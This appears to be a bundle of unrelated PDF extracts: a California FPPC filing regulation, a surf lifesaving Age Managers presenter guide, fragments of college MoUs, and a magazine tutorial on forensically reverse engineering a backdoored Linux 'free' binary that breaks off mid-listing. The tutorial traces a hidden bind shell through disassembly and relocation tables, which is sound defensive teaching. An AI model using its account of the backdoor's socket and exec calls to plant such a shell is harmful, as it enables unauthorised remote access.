(Regulations of the Fair Political Practices Commission, Title 2, Division 6, California Code of Regulations) § 18757. Statements of Economic Interests; Filing an Original Statement of Economic Interest in Electronic Format Without a Certified Electronic Filing System. (a) As used in Sections 87500.2 and 87500.3, the term "electronic filing" refers to the specific method of filing an original statement of economic interests through an electronic filing system used or certified by the Commission. (b) If permitted by the official's agency's filing officer, the official may submit the original statement with a secure electronic signature, as defined in Regulation 18104(b)(2), via the official's agency email address. Note: Authority cited: Section 83112, Government Code. Reference: Sections 81004, 87500, 87500.2, 87500.3 and 87500.4, Government Code. HISTORY 1. New section filed 12-7-2021; operative 1-6-2022 pursuant to Cal. Code Regs., tit. 2, section 18312(e). Submitted to OAL for filing pursuant to Fair Political Practices Commission v. Office of Administrative Law, 3 Civil C010924, California Court of Appeal, Third Appellate District, nonpublished decision, April 27, 1992 (FPPC regulations only subject to 1974 Administrative Procedure Act rulemaking requirements and not subject to procedural or substantive review by OAL) (Register 2021, No. 50).
<urn:uuid:bfc435d8-88f9-4431-8011-4ae4f7f5d778>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
1,371
SLSA Age Managers Course Presenters Guide Table of Contents 3 6 7 8 9 11 12 About the Age Managers Course The aim of the Age Manager Course is to provide new Age Managers with an entry level and a developmental program for people wishing to assist with the development of junior members, and, if desired, to pursue a career in surf life saving that can branch out from the role of an age manager. Course Learning Outcome * Understand the roles and responsibilities of the age manager * Manage risk in the beach safety environment * Develop strategies to work with children, parents, coaches, officials and club administrators * Cater for physical, emotional and social development of juniors in their care * Utilise a range of communication, teaching and behaviour management strategies * Safely conduct training sessions, ensuring fun and participation through games and activities Course Requirements The Age Managers Course comprises of both on-the-beach and off-the-beach training. The learning program must be completed within a twelve (12) month period starting from the date of completion of the off-the-beach component of the course. The Age Managers Course includes the following; * Off-the-beach training (workshop or online module) * On-the-beach training (third party form) * On-the-beach training (beach skills session) Off-the-beach Training The off-the-beach training provides the theory component of the course. This can be conducted as a face to face workshop or online. About the Age Managers Course (continued) Workshop If you choose to conduct the training as a workshop you should use the Age Managers Course PowerPoint presentation. This provides the slides and some presenter's notes. It is recommended you familiarise yourself with the content and have the notes pages handy when presenting to ensure you are covering all the required content. Some of the slides provide an opportunity to insert your own club or state specific details. Ensure you update these slides before presenting. Workshop participants are required to complete a workbook. Time is allocated during the course for this to be completed. Suggested answers to workbook questions are provided in this Presenters Guide. These answers should be used as a guide only due to the open-ended nature of the questions. The workshop is scheduled for delivery over 3 hours, inclusive of a 15min coffee break. You should consider setting up a resource expo for participants to look at during the break. This would include all recourses relevant to Age Managers (JDR, Junior Skills and Coaching DVD, Skills Posters etc) Some things to remember when preparing for the workshop: * Ensure appropriate room for delivery * Data projector/laptop/screen * Confirmation to participants (e.g. email) * PowerPoint (with club and state based changes included) * Skills DVD, Flip chart * Print Participant Workbooks * JDR and Age Managers Guides * Organise tea and coffee etc * Attendance sheet * Organise set-up of resource expo Online Module An online learning module is also available for participants to complete the off-the-beach training in their own time. It is very easy for participants to access using Lifesaving Online. Simply provide them with a copy of the instructions provided for completing the course online (see resource section below for more information). As there are activities throughout the Age Managers Course online to test participants understanding of the content, participants do not need to complete a workbook. Participant will however be required to sign a Code of Conduct and also have their Certification and Third Party forms completed and submitted. These forms are available in the Age Managers Course Online Participants Information which can be found in the resource section of the Age Managers Course Online. They are also available in this guide for you to print and supply to online participants during the on-thebeach training. Ensure you provide participants with the details about the on-the-beach training including when and where the session will be held. On-the-beach Training The on-the-beach training provides the practical component of the course. As the name suggests, these sessions should be conducted on the beach. Make sure you provide details about the skills session and mentoring sessions to both workshop and online course participants. Beach Skills Session The beach skills season provides an overview of core surf and beach skills. This session should be completed with the assistance of club coaches who can provide an overview of the particular nature of the beach/water conditions and the basic skills juniors need to develop. These include: About the Age Managers Course (continued) Third Party Form Participants' are required to work with an experienced Age Manager mentor in their club to complete the Third Party Report and have it signed off by an approved assessor/mentor. It is expected that all tasks required are completed over 6 hours on the beach under the guidance of an experienced Age Manager. Once completed the form should be submitted to the course presenter or state office. Make sure you inform participants of the correct procedure for your club. Resources There are a number of recourses available to assist you to deliver the course. All course specific resources can be found on the SLSA Secure Resource Library. Your club administrator will have access to this area of the SLSA website (www.sls.com.au). Age Managers Course Resources can be found in the following location: Club resources/Development Resources/Junior Development Resource Kit/Age Managers Resources. Resources include: * Age Managers Course PowerPoint * Age Managers Course Online Participant Information * Age Managers Course Workbook * How to Age Managers Online * Age managers Course Forms * Age Managers Guide All policies referred to in the course can be found on the SLSA website (www.sls.com.au). These can be accessed by all members. All SLSA policies can be found Club and Member Resources/SLSA Policy and Award Criteria/SLSA Policies. You will need to refer to your state office websites for state specific policies. Other resources that will help you in the delivery of this course include: * Junior Development Resources Kit (JDR) * Junior Coaching and Skills DVD * Junior Coaching Manual * Junior Skills Posters Contact your state office about these or any other resources required to help you deliver the Age Managers Course. Role as an Administrator It is helpful to understand the tasks and responsibilities of the Age Manager Course Presenter within three broad roles. As administrator, you lead participants through the AMC training package. As instructor, you make sure participants understand the concepts and skills. As facilitator, you provide opportunities for participants to make discoveries and consider the application, of the concepts and skills in their club context. Administrator As administator you are responsible for leading participants through the AMC. To do this effectively, you need to: * Give content overviews * Make bridges between modules * Provide clear and complete instructions * Keep participants focussed * Distribute and collect materials * Stay within time frames * Manage questions/differences about schedule, content and procedures As a result of the above, participants will: * Always know why they are undertaking activities * Feel good about the pace of the training session * Understand how the activities relate to and build on one another * Have no difficulty understanding and following instructions As a result, the session stays on track, is not rushed, and finishes on time. Role as an Instructor Instructor As instructor, you make sure participants understand the concepts and know how to use the skills correctly. To do this effectively, you need to: * Present, explain and answer questions about concepts or skills * Ask questions to ensure participants understand the content * Provide relevant examples to clarify learning points * Model skill use * Summarise key learning points * Provide balanced feedback and recognition to coach skill use As a result of the above, participants will: * Acquire course concepts and skills * Ask questions when something is not clear * Give examples of the concepts and skills in their everyday experiences * Practice skills correctly * Share the responsibility for their own learning * Accept feedback from you and other participants * Leave the training with a sense of accomplishment Role as Facilitator Facilitator As facilitator, you guide participants in making discoveries, sharing experiences and feelings, and consider the on-the-beach application of the AMC concepts and skills. To do this effectively, you need to: * Ask application-related questions * Allow participants concerns to surface * Foster the exchange of participant ideas, opinions and feelings about the concepts and skills * Guide productive discussions and allow participants to arrive at their own conclusions As a result of the above, participants will: * Express their true opinions or concerns about the training content and its application to the AM role * Look forward to using the course concepts and skills on the beach * Are challenged to think about things they have not already thought about * Take what is useful to them from the session and apply it back in their club Although there is one role that is more appropriate than another for particular effects at particular times during the training, there is no 'right' role at any given time. The effectiveness of your role depends upon what is to be achieved during an activity, or the appropriateness of a role in a particular situation. Your ability to master all three roles of the AMC Presenter significantly increases your effectiveness in achieving the desired dynamics and interaction within the AMC group. Workbook Suggested Answers The following provide suggested answers for the Age Managers Course Workbook questions. Use these answers as a guideline only as many of the questions asked are open ended and may receive a variety of responses that may also be correct but not listed. Role of Age Manager (Module 1) 1. Why do you want to become an Age Manager? Answers may include the following word or terms * Development of junior members * Learn about the beach and staying safe * Deliver a program * Help junior members have fun 2. What are the four key skills you might need to be successful as an Age Manager? * Take responsibility for the learning of the group * Ensure safety and wellbeing * Be a positive role model * Development knowledge * Plan and prepare * Work as part of a team * Instil enjoyment and fun 3. What does 'duty of care' mean? * Provide a safe environment * Evaluate for injury * Plan activities * Match children according to age, height, weight, maturity, skill level and experience * Closely supervise activity and minimise risk * Provide safe and proper equipment * Develop clear rules * Ensure accurate reports are kept 4. What qualities do you bring to the role of an Age Manager? * Understand the surf / knowledge * Caring and understanding * Passionate about surf lifesaving * Inclusive * Fun and energetic Creating a Safe Environment (Module 2) 1. Why is safety and wellbeing of junior members a key priority for an Age Manager? * All members have the right to be safe within Surf Life Saving * Members are under our care as age managers – therefore our responsibility * Junior members need additional assistance in staying safe * Need to ensure members are protected and safe at all times 2. What are the four key elements of the Age Manager's Code of Conduct? * Respect the rights, dignity and worth of others * Make a commitment to providing quality service * Be fair, considerate and honest in dealing with others * Maintain adhesion to SLSA's standards, rules, regulations, policies * Contribute to provision of a safe environment for all activities * Demonstrate a high degree of individual responsibility Workbook Suggested Answers (continued) Growth Development and Learning 1. What impact does the varying maturation (growth and development) level of juniors have on the activities provided by the Age Manager? * All young people experience significant changes in growth and development at different times * SLS activities should be organised so that young people have a positive experience regardless of development status * Recognition of individual needs is important and always needs to be considered * Activities should be focussed on fun and learning 2. What are the five stages of skill development that children move through in their sporting development? * Play * Progression * Broad Experiences * Specialisation * Recreational Participation 3. Why is understanding differences in learning styles important? Many styles within a group- need to ensure all are catered for * Listening Learners: (auditory) learn best through talking things through and discussions * Touch/Experience Learners: (kinaesthetic) learn best with a hands-on approach * Seeing Learners: (visual) learn best with pictures, diagrams etc 4. What phases do people go through to learn? * Perception * Performance * Translation * Feedback Age Manager in Action (Module 4) 1. What are the four key steps when you are demonstrating skills? Why is it important to be aware of these steps? * Preparation * Practice * Demonstration * Feedback/Correction Aware of these steps so that learning takes place, and does not get stopped due to lack of information or awareness at one of these steps. 2. What are the key features of effective communication? * Clarity * Consistency * Conciseness 3. Harry & Rebecca tend to be disruptive in the group when they are not getting their own way. How could you respond to this behaviour to keep the group focused? * Give child meaningful task within group * Remove child from the group (last resort only) * Separate from group (with supervision) 4. How do you see the third party club-based mentoring benefiting you in developing your skills as an Age Manager? * Learning from an expert / experienced member * More credibility from others within the club * Get personal feedback on ways to improve * Practical skills rather than just theory SLSA Age Managers Course - Presenter Guide 10 Certification Age Managers Course Certificate This certificate serves as proof of completion of the Age Managers theory session and the on-the-beach practical session. You need to have both sessions signed off by your presenter/s. NB: You need to forward this with your Third Party Form to your relevant branch/state office. You may like to keep a copy of this for your records. Candidate's personal details Name: __________________________________________________ Club: ___________________________________________________ Phone: _ ________________________________________________ Mobile: _________________________________________________ Email: __________________________________________________ Course presenter endorsement I endorse that the above candidate has completed the off-the-beach training for the SLSA Age Managers Course. Name: __________________________________________________ Signature: _______________________________________________ Telephone: ______________________________________________ Theory course date: _______________________________________ ¨ Workshop completed Date:___________________________________________________ Email: __________________________________________________ Location: ________________________________________________ On-the-beach practical endorsement I endorse that the above cantidate has attended the on-the-beach practical segment for the Age Manager course. Name: __________________________________________________ Signature: _______________________________________________ Telephone: ______________________________________________ On-the-beach practical date: ________________________________ Date:___________________________________________________ Email: __________________________________________________ Location: ________________________________________________ SLSA Age Managers Course - Presenter Guide 11 Third Party Form Name: __________________________________________________ Address: ________________________________________________ Phone: _ ________________________________________________ DOB: ___________________________________________________ ¨ Financial Member ¨ Member Screening ¨ Theory Component I certify that the above details are accurate. Candidate's Signature: _____________________________________ Date: ___________________________________________________ The following tasks must be completed under the guidance of an experienced Age Manager mentor. It is expected that they will be completed in the context of a 6 hour mentoring context on the beach with a group. * First column to be ticked by age manager when he/she feels confident that they have completed this requirement. ^ Second column to be signed off and dated by the AM Mentor (third party) to signify that they are satisfied that the task has been completed at a satisfactory level. Mentor (third party) Verification Name: _______________________________________ Signature: ____________________________________Date: _____________________ Mentor's AM Award Number: _______________________________ SLSA Age Managers Course - Presenter Guide Club: ___________________________________________________ Postcode: _______________________________________________ Email: __________________________________________________ ¨ Practical Beach Skills 12
<urn:uuid:20c27c7c-1503-416d-a0ff-9b377a4c27d5>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
17,745
Memorandum of Understanding (MoU) Between bdtask A Leading Software Company Bdtask Limited And Mymensingh Polytechnic Institute (MPI) VII. Executed as a MoU In witness whereof, the parties of this MoU through their duly authorized representative have executed this MoU on the days and dates set out below, and certify that they have read, understood, and agreed to the terms and conditions of this MoU as set forth herein. Signed for and on behalf of Bdtask limited (Sumch Mohammad Tarek) Managing Director Bdtask limited (Sumch Mohammad Tarek) Managing Director Bdtask Limited Witness Signed for and on behalf of the MPI (Md. Showkat Hossain) Principal (In Charge) Mymensingh Polytechnic Institute (MPI) Memorandum of Understanding Between Mymensingh Polytechnic Institute & IT Pal Limited G. MISCELLANEOUS 1. This MOU is valid for an initial period of three (3) years, commencing on the date of signing this MOU by the Signatories of the representative institutions. The signing of the MOU will be followed by a review and assessment and may be extended on mutual agreement in writing. This MOU may not be amended or modified except with the written consent of both parties. 2. Either party can terminate this MOU for any reason, without liability, by giving a written notice to the other party of not less than six (6) months prior to termination. Both parties may terminate this MOU at any time upon, written notice if there are any changes in the terms and conditions. The date of MOU sign is on this 19th October, 2016 Signed on behalf of: IT Pal Limited Md Tamzid Bin Razzak Chairman Mymensingh Polytechnic Institute Dr. Engr. Md. Nurul Islam Principal
37a2e50c-06a6-4042-9b7d-07f6948389b5
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
1,685
CodeBreakers Magazine – Vol. 1, No. 2, 2006 Reverse Engineering Backdoored Binaries by ChrisR [CR­Secure] Vol. 1, No. 2, 2006 Abstract: This paper is on reverse engineering backdoored binaries on an x86 Linux Operating System. It is meant for the beginner reverse engineer with some knowledge of ELF, C, x86 ASM, and Linux. We will begin by explaining the basics of our binary from what we can determine by disassembling and then we will recreate the source code for the evil part of our backdoored binary. Reverse Engineering Backdoored Binaries By ChrisR This paper is on reverse engineering backdoored binaries on an x86 Linux Operating System. It is meant for the beginner reverse engineer with some knowledge of ELF, C, x86 ASM, and Linux. We will begin by explaining the basics   of   our   binary   from   what   we   can   determine   by disassembling and then we will recreate the source code for the evil part of our backdoored binary. You will need a few basic tools for this, objdump, elfsh, hexdump, a text editor. . . and your brain. 1 Introduction Our binary is a backdoored version of 'free'. Below is a brief description of the free application, ``` borg:/# whatis free free (1) ­ Display amount of free and used memory in the system borg:/# ``` Our binary has been backdoored, which we are sure of because the SHA­1 sum calculated yesterday does not match   the   current   SHA­1   sum.   Therefore,   we   have already detected the intruder and now want to perform a forensic analysis on the binary. At this point we have no idea   what   malicious   code   may   be   present   in   the application. Let us begin by using elfsh, which is a shell environment for toying with ELF binaries. You can get a copy here http://elfsh.segfault.net/from the folks at segfault. ``` ############################### [ELFsh­0.51b3]$ load free [*] New object free loaded on Tue Mar 30 15:13:23 2004 [ELFsh­0.51b3]$ ############################### ``` Our 'free' binary is now loaded into elfsh. We will skip over printing our 'Program Header Table' because it's not that important within the scope of this paper. The first thing we want to do is print our 'Section Header Table' so we know what  sections  are  present  and  then  we  can assess where to go from there. Various text has been stripped to save space. ``` ############################### [ELFsh­0.51b3]$ sht [SECTION HEADER TABLE .::. SHT is not stripped] [Object free] ``` [000] (nil) ­­­­­­­ ... = NULL section ``` [001] 0x80480f4 a­­­­­­ .interp ... = Program data [002] 0x8048108 a­­­­­­ .note.ABI­tag ... = Notes [003] 0x8048128 a­­­­­­ .hash ... = Symbol hash table [004] 0x80482ac a­­­­­­ .dynsym ... = Dynamic linker symtab [005] 0x804864c a­­­­­­ .dynstr ... = String table [006] 0x804881e a­­­­­­ .gnu.version ... = type 6FFFFFFF [007] 0x8048894 a­­­­­­ .gnu.version_r ... = type 6FFFFFFE [008] 0x80488d4 a­­­­­­ .rel.dyn ... = Reloc. ent. w/o addends [009] 0x80488fc a­­­­­­ .rel.plt ... = Reloc. ent. w/o addends [010] 0x8048a84 a­x­­­­ .init ... = Program data [011] 0x8048a9c a­x­­­­ .plt ... = Program data [012] 0x8048dc0 a­x­­­­ .text ... = Program data [013] 0x804ac10 a­x­­­­ .fini ... = Program data [014] 0x804ac40 a­­­­­­ .rodata ... = Program data [015] 0x804c000 aw­­­­­ .data ... = Program data [016] 0x804c020 aw­­­­­ .eh_frame ... = Program data [017] 0x804c024 aw­­­­­ .dynamic ... = Dynamic linking info [018] 0x804c0ec aw­­­­­ .ctors ... = Program data [019] 0x804c0fc aw­­­­­ .dtors ... = Program data [020] 0x804c104 aw­­­­­ .jcr ... = Program data [021] 0x804c108 aw­­­­­ .got ... = Program data [022] 0x804c1e0 aw­­­­­ .bss ... = BSS [023] (nil) ­­­­­­­ .comment ... = Program data [024] (nil) ­­­­­­­ .debug_aranges ... = Program data [025] (nil) ­­­­­­­ .debug_pubnames ... = Program data [026] (nil) ­­­­­­­ .debug_info ... = Program data [027] (nil) ­­­­­­­ .debug_abbrev ... = Program data [028] (nil) ­­­­­­­ .debug_line ... = Program data [029] (nil) ­­­­­­­ .debug_frame ... = Program data [030] (nil) ­­­ms­­ .debug_str ... = Program data [031] (nil) ­­­­­­­ .debug_macinfo ... = Program data [032] (nil) ­­­­­­­ .debug_ranges ... = Program data [033] (nil) ­­­­­­­ .shstrtab ... = String table [034] (nil) ­­­­­­­ .symtab ... = Symbol table [035] (nil) ­­­­­­­ .strtab ... = String table [ELFsh­0.51b3]$ ############################### ``` Our section header table is a map for the process image. These   sections   contain   all   the   information   about   the process image except the ELF program header itself. The (nil)   sections   above   contain   no   information   for   the process.   For   example   the   .comment   and   .debug_info sections   contain   no   data.   I   won't   go   over   all   of   the sections in detail because most are always present in any ELF binary and covered more in detail in the appropriate documentation. 2 Searching the sections There are a few parts to this ELF layout we want to focus on, which are .dynstr(a section that contains our string tables)   and   the   relocation   tables   entries.   Our   strings entries will greatly help us determine what evil deeds this binary is doing during run time. String tables have an intricate layout that is covered in extensive detail in ELF documentation. All we need to focus on at this time is reading this section with our chosen application and then   parsing   through   the   strings   to   find   interesting references.   'Strings'   is   a   good   application   for   pulling ASCII printable strings from an object file. The trouble with 'Strings' is that it's not just scanning our .dynstr section, which may be viewed as a positive however that's not what we are focusing on at the moment. As we can see above in the elfsh output our .dynstr section starts at address   0x804864c,   the   section   following   address 0x804864c starts at 0x804881e, therefore let's assume we have to do our search within this space. Lets break open the old HEX editor and objdump to read this section. ############################### borg:/$ objdump ­D free  fdis ############################### We   don't   want   that   entire   objdump   output   on   our terminal, it would be too much to scroll through, which is why we pipe it to 'fdis'. Open the file fdis and search through it for '.dynstr'. It should bring you to a section that   appears   to   start   off   similar   to   below,   only   the beginning text was pasted as not to consume too much space. ``` ############################### Disassembly of section .dynstr: 0804864c <.dynstr: 804864c: 00 6c 69 62 add %ch,0x62(%ecx,%ebp,2) 8048650: 63 2e arpl %bp,(%esi) 8048652: 73 6f jae 80486c3 <_init­0x3c1 8048654: 2e 36 00 73 74 add %dh,%cs:%ss:0x74(%ebx) ############################### ``` Now we have something to search for (00 6c 69 62) from our  .dynstr   section.   This  should   make  our  hex  editor much easier to use. Let's use good old hexdump on our binary, 'hexdump ­C free free_hex'. Once again we pipe the output to a file as to not overload our terminal. Now use   an   editor   to   find   the   correct   spot   in   the   file,   by searching for '6c 69 62'. Because it's a hex editor we have to search two or three times before hitting the correct section,   multiple   entries   of   our   search   term   may   be found. It should look similar to this: ``` 6c 69 62 |....0........lib| 00000650 63 2e 73 6f 2e 36 00 73 74 72 63 70 79 00 73 79 |c.so.6.strcpy.sy| 00000660 73 63 6f 6e 66 00 5f 5f 73 74 72 74 6f 64 5f 69 | sconf.__strtod_i| 00000670 6e 74 65 72 6e 61 6c 00 73 74 64 6f 75 74 00 5f | nternal.stdout._| 00000680 5f 73 74 72 74 6f 6c 5f 69 6e 74 65 72 6e 61 6c | _strtol_internal| 00000690 00 62 73 65 61 72 63 68 00 75 73 6c 65 65 70 00 |.bsearch.usleep.| 000006a0 67 65 74 70 69 64 00 66 67 65 74 73 00 65 78 65 |getpid.fgets.exe| 000006b0 63 6c 00 70 65 72 72 6f 72 00 70 75 74 73 00 64 |cl.perror.puts.d| 000006c0 75 70 32 00 67 65 74 75 69 64 00 6f 70 74 61 72 |up2.getuid.optar| 000006d0 67 00 73 6f 63 6b 65 74 00 72 65 61 64 64 69 72 |g.socket.readdir| 000006e0 00 5f 5f 73 74 72 74 6f 75 6c 5f 69 6e 74 65 72 | .__strtoul_inter| 000006f0 6e 61 6c 00 66 66 6c 75 73 68 00 6c 73 65 65 6b |nal.fflush.lseek| 00000700 00 75 6e 61 6d 65 00 61 63 63 65 70 74 00 66 70 |.uname.accept.fp| 00000710 72 69 6e 74 66 00 62 69 6e 64 00 73 74 72 73 74 |rintf.bind.strst| 00000720 72 00 73 69 67 6e 61 6c 00 72 65 61 64 00 73 65 |r.signal.read.se| 00000730 74 70 67 72 70 00 72 65 61 6c 6c 6f 63 00 6c 69 |tpgrp.realloc.li| 00000740 73 74 65 6e 00 66 6f 72 6b 00 73 73 63 61 6e 66 |sten.fork.sscanf| 00000750 00 67 65 74 6f 70 74 00 6f 70 65 6e 64 69 72 00 |.getopt.opendir.| 00000760 73 74 72 63 6d 70 00 73 70 72 69 6e 74 66 00 66 |strcmp.sprintf.f| 00000770 63 6c 6f 73 65 00 73 65 74 6c 6f 63 61 6c 65 00 | close.setlocale.| 00000780 73 74 64 65 72 72 00 66 70 75 74 63 00 5f 5f 63 |stderr.fputc.__c| 00000790 74 79 70 65 5f 62 5f 6c 6f 63 00 66 77 72 69 74 | type_b_loc.fwrit| 000007a0 65 00 66 6f 70 65 6e 00 5f 49 4f 5f 73 74 64 69 | e.fopen._IO_stdi| 000007b0 6e 5f 75 73 65 64 00 5f 65 78 69 74 00 5f 5f 6c | n_used._exit.__l| ``` ``` 000007c0 69 62 63 5f 73 74 61 72 74 5f 6d 61 69 6e 00 73 |ibc_start_main.s| 000007d0 74 72 6c 65 6e 00 73 74 72 63 68 72 00 63 6c 6f |trlen.strchr.clo| 000007e0 73 65 64 69 72 00 5f 5f 65 6e 76 69 72 6f 6e 00 | sedir.__environ.| 000007f0 5f 5f 67 6d 6f 6e 5f 73 74 61 72 74 5f 5f 00 47 | __gmon_start__.G| 00000800 4c 49 42 43 5f 32 2e 33 00 47 4c 49 42 43 5f 32 |LIBC_2.3.GLIBC_2| 00000810 2e 31 00 47 4c 49 42 43 5f 32 2e 30 00 00 00 00 |.1.GLIBC_2.0 ``` Above are easily readable ASCII strings that may or may not stick out. Let's take 'bind' into consideration. Why is our  'free'  memory  reporting  the  application  making  a bind call? Could this be an evil backdoor that is binding a shell? Below is a list of ASCII strings that the clever reader should have picked out from the .dynstr section above: ``` getuid listen fork socket accept bind fork ``` When we compare a 'strings' output to a known clean binary of free we don't see these at all. ``` ############################### borg:/usr/bin$ strings free | grep accept borg:/usr/bin$ strings free | grep bind borg:/usr/bin$ strings free | grep getuid borg:/usr/bin$ strings free | grep socket borg:/usr/bin$ ############################### ``` The above .dynstr section is not a complete roundup of all readable ASCII strings found in this binary, which is easily proven by running the application 'strings' on our backdoored binary. Now we have to ask ourselves, why is our free application making these types of calls? All we can do at this point is speculate, and say these calls are usually seen when trying to open a network socket or binding a shell to a 'secret' option. Let's dig a bit deeper into this binary. Now we'll focus on our relocation tables entries to see if we can  pick  up on any other malicious behavior that stands out. Using the 'rel' command in our elfsh with our free binary loaded will produce the following: ``` ############################### [ELFsh­0.51b3]$ rel ``` [RELOCATION TABLES] [Object free] ``` {Section .rel.dyn} [000] R_386_GLOB_DAT 0x804c1d8 sym[056] : __gmon_start__ [001] R_386_COPY 0x804c1e0 sym[032] : __environ [002] R_386_COPY 0x804c1e4 sym[019] : stdout [003] R_386_COPY 0x804c1e8 sym[020] : stderr [004] R_386_COPY 0x804c1ec sym[047] : optarg {Section .rel.plt} [000] R_386_JMP_SLOT 0x804c114 sym[001] : usleep [001] R_386_JMP_SLOT 0x804c118 sym[002] : __strtod_internal [002] R_386_JMP_SLOT 0x804c11c sym[003] : execl [003] R_386_JMP_SLOT 0x804c120 sym[004] : strchr [004] R_386_JMP_SLOT 0x804c124 sym[005] : setpgrp [005] R_386_JMP_SLOT 0x804c128 sym[006] : getpid [006] R_386_JMP_SLOT 0x804c12c sym[007] : strcmp [007] R_386_JMP_SLOT 0x804c130 sym[008] : close [008] R_386_JMP_SLOT 0x804c134 sym[009] : perror [009] R_386_JMP_SLOT 0x804c138 sym[010] : fprintf [010] R_386_JMP_SLOT 0x804c13c sym[011] : fork [011] R_386_JMP_SLOT 0x804c140 sym[012] : signal [012] R_386_JMP_SLOT 0x804c144 sym[013] : fflush [013] R_386_JMP_SLOT 0x804c148 sym[014] : setlocale [014] R_386_JMP_SLOT 0x804c14c sym[016] : accept [015] R_386_JMP_SLOT 0x804c150 sym[017] : puts [016] R_386_JMP_SLOT 0x804c154 sym[018] : listen [017] R_386_JMP_SLOT 0x804c158 sym[021] : sysconf [018] R_386_JMP_SLOT 0x804c15c sym[022] : getopt [019] R_386_JMP_SLOT 0x804c160 sym[023] : fgets [020] R_386_JMP_SLOT 0x804c164 sym[024] : strstr [021] R_386_JMP_SLOT 0x804c168 sym[025] : strlen [022] R_386_JMP_SLOT 0x804c16c sym[026] : uname [023] R_386_JMP_SLOT 0x804c170 sym[027] : __strtol_internal [024] R_386_JMP_SLOT 0x804c174 sym[028] : fputc [025] R_386_JMP_SLOT 0x804c178 sym[029] : __libc_start_main [026] R_386_JMP_SLOT 0x804c17c sym[030] : dup2 [027] R_386_JMP_SLOT 0x804c180 sym[031] : realloc [028] R_386_JMP_SLOT 0x804c184 sym[033] : printf [029] R_386_JMP_SLOT 0x804c188 sym[034] : bind [030] R_386_JMP_SLOT 0x804c18c sym[035] : getuid [031] R_386_JMP_SLOT 0x804c190 sym[036] : lseek ``` ``` [032] R_386_JMP_SLOT 0x804c194 sym[038] : fclose [033] R_386_JMP_SLOT 0x804c198 sym[039] : closedir [034] R_386_JMP_SLOT 0x804c19c sym[040] : opendir [035] R_386_JMP_SLOT 0x804c1a0 sym[041] : open [036] R_386_JMP_SLOT 0x804c1a4 sym[042] : exit [037] R_386_JMP_SLOT 0x804c1a8 sym[043] : sscanf [038] R_386_JMP_SLOT 0x804c1ac sym[044] : _exit [039] R_386_JMP_SLOT 0x804c1b0 sym[045] : fopen [040] R_386_JMP_SLOT 0x804c1b4 sym[046] : __strtoul_internal [041] R_386_JMP_SLOT 0x804c1b8 sym[049] : sprintf [042] R_386_JMP_SLOT 0x804c1bc sym[050] : fwrite [043] R_386_JMP_SLOT 0x804c1c0 sym[051] : socket [044] R_386_JMP_SLOT 0x804c1c4 sym[052] : readdir [045] R_386_JMP_SLOT 0x804c1c8 sym[053] : __ctype_b_loc [046] R_386_JMP_SLOT 0x804c1cc sym[054] : bsearch [047] R_386_JMP_SLOT 0x804c1d0 sym[055] : read [048] R_386_JMP_SLOT 0x804c1d4 sym[057] : strcpy [ELFsh­0.51b3]$ ############################### ``` An executable image has to provide information on how to  modify  its  sections.   The  calls   above   such   as  execl, getpid, fork, and so on, are obviously calling outside of the   program   because   '_386_JMP_SLOT'   implies   this binary was not statically linked at compile time. So the program has to modify one or more of its program data sections in order to incorporate these outside calls. We can easily pick out our suspicious calls this binary is making during run time but unfortunately we are not sure when during run time they are being called yet, just that they are. ``` ############################### [002] R_386_JMP_SLOT 0x804c11c sym[003] : execl [010] R_386_JMP_SLOT 0x804c13c sym[011] : fork [014] R_386_JMP_SLOT 0x804c14c sym[016] : accept [016] R_386_JMP_SLOT 0x804c154 sym[018] : listen [029] R_386_JMP_SLOT 0x804c188 sym[034] : bind [030] R_386_JMP_SLOT 0x804c18c sym[035] : getuid [043] R_386_JMP_SLOT 0x804c1c0 sym[051] : socket ############################### ``` 3 Following the objdump Above we saw the suspicious entries we saw before in our strings table. Why exactly is our binary making these calls? We'll follow these addresses to find out. Now let's assume this is a backdoor socket that is possibly binding a shell. A sharp reader would have noticed these are for the most part already in logical order from the bottom up. The getuid call is a bit out of place, but we’ll take it for granted because we dont know what the original code looked like yet and continue on. Our socket call is located at 0x804c1c0, therefore if we parse through our objdump output we find this: ``` ############################### SOCKET 8048d5c: ff 25 c0 c1 04 08 jmp *0x804c1c0 8048d62: 68 58 01 00 00 push $0x158 8048d67: e9 30 fd ff ff jmp 8048a9c <_init+0x18 ############################### ``` The   address   where   our   external   socket   address   of 0x804c1c0 gets called from is '8048d5c'. We know our socket call is located at 0x804c1c0, but this is located outside of our binary, so we must backtrack a tad to find out where our program sets up this code. Because we see where the program is jumping from, address 8048d5c, we will search our dump again to see where it is called from. By doing this we come up with what is below: ``` ############################### 8048eb7: e8 a0 fe ff ff call 8048d5c <_init+0x2d8 8048ebc: 89 43 dc mov %eax,0xffffffdc(%ebx) 8048ebf: 83 c4 10 add $0x10,%esp 8048ec2: 40 inc %eax 8048ec3: 0f 84 42 01 00 00 je 804900b <gogogo.0+0x18b 8048ec9: c7 43 f0 00 00 00 00 movl $0x0,0xfffffff0(%ebx) 8048ed0: c7 43 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebx) 8048ed7: c7 43 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebx) 8048ede: 66 c7 43 f0 02 00 movw $0x2,0xfffffff0(%ebx) 8048ee4: c7 43 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebx) 8048eeb: 66 c7 43 f2 00 72 movw $0x7200,0xfffffff2(%ebx) 8048ef1: 50 push %eax 8048ef2: 6a 10 push $0x10 8048ef4: 8d 43 f0 lea 0xfffffff0(%ebx),%eax 8048ef7: 50 push %eax 8048ef8: 89 45 ec mov %eax,0xffffffec(%ebp) 8048efb: 8b 43 dc mov 0xffffffdc(%ebx),%eax 8048efe: 50 push %eax ############################### ``` Could this be the beginning of a function named 'gogogo' that sets up our socket? ``` 8048ec3: 0f 84 42 01 00 00 je 804900b <gogogo.0+0x18b ``` Could this be a socket preparing to bind to port 114? (114 in HEX is 72) 048eeb: 66 c7 43 f2 00 72 movw $0x7200,0xfffffff2(%ebx) Now   we   know   a   socket   call   has   been   implemented, therefore we should follow our getuid, bind, listen, accept, and execl calls in the same fashion. ``` ############################### GETUID 8048c8c: ff 25 8c c1 04 08 jmp *0x804c18c 8048c92: 68 f0 00 00 00 push $0xf0 8048c97: e9 00 fe ff ff jmp 8048a9c <_init+0x18 ..... 8048e8e: e8 f9 fd ff ff call 8048c8c <_init+0x208 8048e93: 85 c0 test %eax,%eax 8048e95: ba 01 